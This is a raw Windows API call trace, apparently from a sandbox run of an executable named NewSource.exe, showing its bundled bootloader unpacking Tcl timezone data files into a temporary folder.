lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.623] GetFileType (hFile=0x10c) returned 0x1 [0038.623] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.624] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.624] CloseHandle (hObject=0x10c) returned 1 [0038.624] GetLastError () returned 0x0 [0038.624] SetLastError (dwErrCode=0x0) [0038.624] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.624] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.624] GetFileType (hFile=0x10c) returned 0x1 [0038.624] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.624] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.624] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.624] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.624] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.624] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.624] CloseHandle (hObject=0x10c) returned 1 [0038.624] GetLastError () returned 0x0 [0038.624] SetLastError (dwErrCode=0x0) [0038.624] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Caracas") returned 72 [0038.624] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Caracas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\caracas"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.624] GetLastError () returned 0x2 [0038.624] SetLastError (dwErrCode=0x2) [0038.625] GetLastError () returned 0x2 [0038.625] SetLastError (dwErrCode=0x2) [0038.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Caracas", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Caracas", lpFilePart=0x0) returned 0x47 [0038.625] GetLastError () returned 0x2 [0038.625] SetLastError (dwErrCode=0x2) [0038.625] GetLastError () returned 0x2 [0038.625] SetLastError (dwErrCode=0x2) [0038.625] GetLastError () returned 0x2 [0038.625] SetLastError (dwErrCode=0x2) [0038.625] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Caracas") returned 72 [0038.625] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.625] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Caracas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\caracas"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.626] GetFileType (hFile=0x10c) returned 0x1 [0038.626] htonl (hostlong=0xf0000000) returned 0xf0 [0038.626] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.626] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf0, lpOverlapped=0x0) returned 1 [0038.627] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.627] CloseHandle (hObject=0x10c) returned 1 [0038.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.628] htonl (hostlong=0x30000000) returned 0x30 [0038.628] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.628] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.628] GetFileType (hFile=0x10c) returned 0x1 [0038.628] htonl (hostlong=0x8dc75800) returned 0x58c78d [0038.628] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d778d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.628] htonl (hostlong=0x8d000000) returned 0x8d [0038.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0038.628] htonl (hostlong=0x8d000000) returned 0x8d [0038.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.628] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.628] htonl (hostlong=0xde000000) returned 0xde [0038.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xde) returned 0x550600 [0038.628] htonl (hostlong=0x8d000000) returned 0x8d [0038.628] htonl (hostlong=0xde000000) returned 0xde [0038.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.628] CloseHandle (hObject=0x10c) returned 1 [0038.628] GetLastError () returned 0x0 [0038.629] SetLastError (dwErrCode=0x0) [0038.629] GetLastError () returned 0x0 [0038.629] SetLastError (dwErrCode=0x0) [0038.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.629] GetFileType (hFile=0x10c) returned 0x1 [0038.629] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.629] CloseHandle (hObject=0x10c) returned 1 [0038.629] GetLastError () returned 0x0 [0038.629] SetLastError (dwErrCode=0x0) [0038.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.629] GetFileType (hFile=0x10c) returned 0x1 [0038.629] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.630] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.630] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.630] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.630] CloseHandle (hObject=0x10c) returned 1 [0038.630] GetLastError () returned 0x0 [0038.630] SetLastError (dwErrCode=0x0) [0038.630] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.630] GetFileType (hFile=0x10c) returned 0x1 [0038.630] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.630] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.630] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.630] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.630] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.630] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.630] CloseHandle (hObject=0x10c) returned 1 [0038.630] GetLastError () returned 0x0 [0038.630] SetLastError (dwErrCode=0x0) [0038.631] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Catamarca") returned 74 [0038.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Catamarca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\catamarca"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.631] GetLastError () returned 0x2 [0038.631] SetLastError (dwErrCode=0x2) [0038.631] GetLastError () returned 0x2 [0038.631] SetLastError (dwErrCode=0x2) [0038.631] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Catamarca", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Catamarca", lpFilePart=0x0) returned 0x49 [0038.631] GetLastError () returned 0x2 [0038.631] SetLastError (dwErrCode=0x2) [0038.631] GetLastError () returned 0x2 [0038.631] SetLastError (dwErrCode=0x2) [0038.631] GetLastError () returned 0x2 [0038.631] SetLastError (dwErrCode=0x2) [0038.631] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Catamarca") returned 74 [0038.631] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Catamarca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\catamarca"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.631] GetFileType (hFile=0x10c) returned 0x1 [0038.631] htonl (hostlong=0xde000000) returned 0xde [0038.631] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.631] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xde, lpOverlapped=0x0) returned 1 [0038.632] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.632] CloseHandle (hObject=0x10c) returned 1 [0038.633] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.633] htonl (hostlong=0x30000000) returned 0x30 [0038.633] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.633] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.633] GetFileType (hFile=0x10c) returned 0x1 [0038.633] htonl (hostlong=0x1ac85800) returned 0x58c81a [0038.633] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d781a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.633] htonl (hostlong=0x96000000) returned 0x96 [0038.633] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x55cfe0 [0038.633] htonl (hostlong=0x96000000) returned 0x96 [0038.633] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.633] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.633] htonl (hostlong=0xb2000000) returned 0xb2 [0038.633] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb2) returned 0x550600 [0038.633] htonl (hostlong=0x96000000) returned 0x96 [0038.634] htonl (hostlong=0xb2000000) returned 0xb2 [0038.634] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.634] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.634] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.634] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.634] CloseHandle (hObject=0x10c) returned 1 [0038.634] GetLastError () returned 0x0 [0038.634] SetLastError (dwErrCode=0x0) [0038.634] GetLastError () returned 0x0 [0038.634] SetLastError (dwErrCode=0x0) [0038.634] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.634] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.634] GetFileType (hFile=0x10c) returned 0x1 [0038.634] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.634] CloseHandle (hObject=0x10c) returned 1 [0038.634] GetLastError () returned 0x0 [0038.634] SetLastError (dwErrCode=0x0) [0038.635] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.635] GetFileType (hFile=0x10c) returned 0x1 [0038.635] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.635] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.635] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.635] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 